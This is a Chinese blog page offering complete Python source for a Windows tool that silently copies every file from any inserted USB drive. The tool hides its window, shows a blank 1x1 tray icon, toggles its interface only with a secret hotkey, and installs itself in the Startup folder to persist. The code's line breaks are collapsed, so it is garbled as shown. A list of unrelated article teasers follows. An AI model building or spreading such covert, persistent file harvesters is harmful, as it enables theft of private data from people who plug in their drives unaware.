当前位置: 首页 > news >正文

Python实现U盘数据自动拷贝

功能:当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点:
1、使用PyQt5创建图形界面,但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行,无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径

使用说明:
1、首次运行时,按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面,程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹

 静默界面:

实现代码:

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file = 'config.json'self.target_path = self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)self.monitor_thread.start()def init_ui(self):self.setWindowTitle('USB自动复制工具')self.setGeometry(300, 300, 400, 200)central_widget = QWidget()self.setCentralWidget(central_widget)layout = QVBoxLayout()self.path_label = QLabel(f'当前目标路径: {self.target_path}')layout.addWidget(self.path_label)select_btn = QPushButton('选择目标文件夹')select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon = QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon = QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (Ctrl+Alt+U)self.hot_key_id = 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U'))except Exception as e:print(f"热键注册失败: {e}")def nativeEvent(self, eventType, message):try:if eventType == "windows_generic_MSG":msg = wintypes.MSG.from_address(message.__int__())if msg.message == win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f"事件处理错误: {e}")return False, 0def load_config(self):try:with open(self.config_file, 'r') as f:config = json.load(f)return config.get('target_path', '')except:return ''def save_config(self):with open(self.config_file, 'w') as f:json.dump({'target_path': self.target_path}, f)def select_target_path(self):path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')if path:self.target_path = pathself.path_label.setText(f'当前目标路径: {self.target_path}')self.save_config()def monitor_usb(self):drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])print(f"初始驱动器: {drives_before}")while True:try:drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])new_drives = drives_now - drives_beforeif new_drives:print(f"检测到新驱动器: {new_drives}")for drive in new_drives:drive_type = win32file.GetDriveType(drive)print(f"驱动器 {drive} 类型: {drive_type}")if drive_type == win32con.DRIVE_REMOVABLE:print(f"开始复制U盘 {drive} 内容")self.copy_usb_contents(drive)drives_before = drives_nowtime.sleep(1)except Exception as e:print(f"监控错误: {e}")time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print("未设置目标路径")return# 获取U盘卷标名称try:volume_name = win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称,则使用盘符if not volume_name:volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')# 替换非法字符volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')except Exception as e:print(f"获取卷标名称失败: {e}")volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')target_folder = os.path.join(self.target_path, volume_name)print(f"复制到目标文件夹: {target_folder}")if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files = []try:for root, dirs, files in os.walk(drive):print(f"扫描目录: {root}")for file in files:file_path = os.path.join(root, file)try:mtime = os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f"无法获取文件信息: {file_path}, 错误: {e}")continueexcept Exception as e:print(f"扫描目录失败: {e}")all_files.sort(key=lambda x: x[1], reverse=True)print(f"找到 {len(all_files)} 个文件")# 复制文件for file_path, _ in all_files:try:rel_path = os.path.relpath(file_path, drive)target_path = os.path.join(target_folder, rel_path)target_dir = os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f"复制文件: {file_path} -> {target_path}")shutil.copy2(file_path, target_path)except Exception as e:print(f"复制失败: {file_path}, 错误: {e}")continuedef eventFilter(self, obj, event):if obj is self and event.type() == QEvent.WindowStateChange:if self.windowState() & Qt.WindowMinimized:# 延迟执行隐藏操作,避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态,这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')script_path = os.path.abspath(sys.argv[0])shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')shell = win32com.client.Dispatch("WScript.Shell")shortcut = shell.CreateShortCut(shortcut_path)shortcut.Targetpath = script_pathshortcut.WorkingDirectory = os.path.dirname(script_path)shortcut.save()except Exception as e:print(f"添加到启动项失败: {e}")if __name__ == '__main__':# 确保只运行一个实例mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)add_to_startup()app = QApplication(sys.argv)tool = USBCopyTool()sys.exit(app.exec_()) 

相关文章:

Python实现U盘数据自动拷贝

功能&#xff1a;当电脑上有U盘插入时&#xff0c;自动复制U盘内的所有内容 主要特点&#xff1a; 1、使用PyQt5创建图形界面&#xff0c;但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…...

汇编的使用总结

一、汇编的组成 1、汇编指令&#xff08;指令集&#xff09; 数据处理指令: 数据搬移指令 数据移位指令 位运算指令 算术运算指令 比较指令 跳转指令 内存读写指令 状态寄存器传送指令 异常产生指令等 2、伪指令 不是汇编指令&#xff0c;但是可以起到指令的作用&#xff0c;伪…...

DeepSeek理解概率的能力

问题&#xff1a; 下一个问题是概率问题。乘车时有一个人带刀子的概率是百分之一&#xff0c;两个人同时带刀子的概率是万分之一。有人认为如果他乘车时带上刀子&#xff0c;那么还有其他人带刀子的概率就是万分之一&#xff0c;他乘车就会安全得多。他的想法对吗&#xff1f;…...

AI 浪潮席卷中国年,开启科技新春新纪元

在这博主提前祝大家蛇年快乐呀&#xff01;&#xff01;&#xff01; 随着人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;其影响力已经渗透到社会生活的方方面面。在中国传统节日 —— 春节期间&#xff0c;AI 技术也展现出了巨大的潜力&#xff0c;为中国年带…...

AI时代的网络安全:传统技术的落寞与新机遇

AI时代的网络安全&#xff1a;传统技术的落寞与新机遇 在AI技术飞速发展的浪潮中&#xff0c;网络安全领域正经历着前所未有的变革。一方面&#xff0c;传统网络安全技术在面对新型攻击手段时逐渐显露出局限性&#xff1b;另一方面&#xff0c;AI为网络安全带来了新的机遇&…...

可以称之为“yyds”的物联网开源框架有哪几个?

有了物联网的发展&#xff0c;我们的生活似乎也变得更加“鲜活”、有趣、便捷&#xff0c;包具有科技感的。在物联网&#xff08;IoT&#xff09;领域中&#xff0c;也有许多优秀的开源框架支持设备连接、数据处理、云服务等&#xff0c;成为被用户们广泛认可的存在。以下给大家…...

线程局部存储tls的原理和使用

一、背景 tls即Thread Local Storage&#xff0c;也就是线程局部存储&#xff0c;可在进程内&#xff0c;多线程按照各个线程分开进行存储。对于一些与线程上下文相关的变量&#xff0c;可放到tls中&#xff0c;减少多线程之间的数据同步的开销。 有人可能会问&#xff0c;我…...

RK3588平台开发系列讲解(ARM篇)ARM64底层中断处理

文章目录 一、异常级别二、异常分类2.1、同步异常2.2、异步异常三、中断向量表沉淀、分享、成长,让自己和他人都能有所收获!😄 一、异常级别 ARM64处理器确实定义了4个异常级别(Exception Levels, EL),分别是EL0到EL3。这些级别用于管理处理器的特权级别和权限,级别越高…...

CAN总线

1. 数据帧&#xff08;Data Frame&#xff09; 数据帧是 CAN 总线中最常用的帧类型&#xff0c;用于传输实际的数据。其结构如下&#xff1a; 起始位&#xff08;Start of Frame, SOF&#xff09;&#xff1a;标志帧的开始。标识符&#xff08;Identifier&#xff09;&#x…...

qwen2.5-vl:阿里开源超强多模态大模型(包含使用方法、微调方法介绍)

1.简介 在 Qwen2-VL 发布后的五个月里&#xff0c;众多开发者基于该视觉语言模型开发了新的模型&#xff0c;并向 Qwen 团队提供了极具价值的反馈。在此期间&#xff0c;Qwen 团队始终致力于打造更具实用性的视觉语言模型。今天&#xff0c;Qwen 家族的最新成员——Qwen2.5-VL…...

python实现dbscan

python实现dbscan 原理 DBSCAN(Density-Based Spatial Clustering of Applications with Noise)是一个比较有代表性的基于密度的聚类算法。它将簇定义为密度相连的点的最大集合&#xff0c;能够把具有足够高密度的区域划分为簇&#xff0c;并可在噪声的空间数据库中发现任意形…...

学习数据结构(3)顺序表

1.动态顺序表的实现 &#xff08;1&#xff09;初始化 &#xff08;2&#xff09;扩容 &#xff08;3&#xff09;头部插入 &#xff08;4&#xff09;尾部插入 &#xff08;5&#xff09;头部删除 &#xff08;这里注意要保证有效数据个数不为0&#xff09; &#xff08;6&a…...

正在更新丨豆瓣电影详细数据的采集与可视化分析(scrapy+mysql+matplotlib+flask)

文章目录 豆瓣电影详细数据的采集与可视化分析(scrapy+mysql+matplotlib+flask)写在前面数据采集0.注意事项1.创建Scrapy项目`douban2025`2.用`PyCharm`打开项目3.创建爬虫脚本`douban.py`4.修改`items.py`的代码5.修改`pipelines.py`代码6.修改`settings.py`代码7.启动`doub…...

wx043基于springboot+vue+uniapp的智慧物流小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…...

每日一题 430. 扁平化多级双向链表

430. 扁平化多级双向链表 简单 /*class Solution { public:Node* flatten(Node* head) {Node* tail nullptr;return dfs(head);}Node* dfs(Node* head){Node* cur head;while(cur ! nullptr){if(cur->child ! nullptr){Node* curChild getTail(cur->child);Node* te…...

UE学习日志#14 GAS--ASC源码简要分析10 GC相关

注&#xff1a;1.这个分类是按照源码里的注释分类的 2.本篇是通读并给出一些注释形式的&#xff0c;并不涉及结构性的分析 3.看之前要对UE的GAS系统的定义有初步了解 4.因为都是接口函数&#xff0c;有些没细看的研究那一部分的时候会细看 1 一些接口函数&#xff0c;但是…...

使用Python和Qt6创建GUI应用程序--关于Qt的一点介绍

关于Qt的一点介绍 Qt是一个免费的开源部件工具包&#xff0c;用于创建跨平台GUI应用程序&#xff0c;允许应用程序从Windows瞄准多个平台&#xff0c;macOS&#xff0c; Linux和Android的单一代码库。但是Qt不仅仅是一个Widget工具箱和功能内置支持多媒体&#xff0c;数据库&am…...

C#@符号在string.Format方法中作用

本文详解@符号在string.Format方法中作用。...

Next.js 14 TS 中使用jwt 和 App Router 进行管理

jwt是一个很基础的工作。但是因为架构不一样&#xff0c;就算是相同的架构&#xff0c;版本不一样&#xff0c;加jwt都会有一定的差别。现在我们的项目是Next.js 14 TS 的 App Router项目&#xff08;就是没有pages那种&#xff09;&#xff0c;添加jwt的步骤&#xff1a; 1、…...

【贪心算法】洛谷P1090 合并果子 / [USACO06NOV] Fence Repair G

2025 - 01 - 21 - 第 45 篇 【洛谷】贪心算法题单 -【 贪心算法】 - 【学习笔记】 作者(Author): 郑龙浩 / 仟濹(CSND账号名) 洛谷 P1090[NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G 【贪心算法】 文章目录 洛谷 P1090[NOIP2004 提高组] 合并果子 / [USACO06…...

DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径

目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...

循环冗余码校验CRC码 算法步骤+详细实例计算

通信过程&#xff1a;&#xff08;白话解释&#xff09; 我们将原始待发送的消息称为 M M M&#xff0c;依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)&#xff08;意思就是 G &#xff08; x ) G&#xff08;x) G&#xff08;x) 是已知的&#xff09;&#xff0…...

centos 7 部署awstats 网站访问检测

一、基础环境准备&#xff08;两种安装方式都要做&#xff09; bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats&#xff0…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

Golang dig框架与GraphQL的完美结合

将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用&#xff0c;可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器&#xff0c;能够帮助开发者更好地管理复杂的依赖关系&#xff0c;而 GraphQL 则是一种用于 API 的查询语言&#xff0c;能够提…...

el-switch文字内置

el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

Qt Http Server模块功能及架构

Qt Http Server 是 Qt 6.0 中引入的一个新模块&#xff0c;它提供了一个轻量级的 HTTP 服务器实现&#xff0c;主要用于构建基于 HTTP 的应用程序和服务。 功能介绍&#xff1a; 主要功能 HTTP服务器功能&#xff1a; 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...

TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...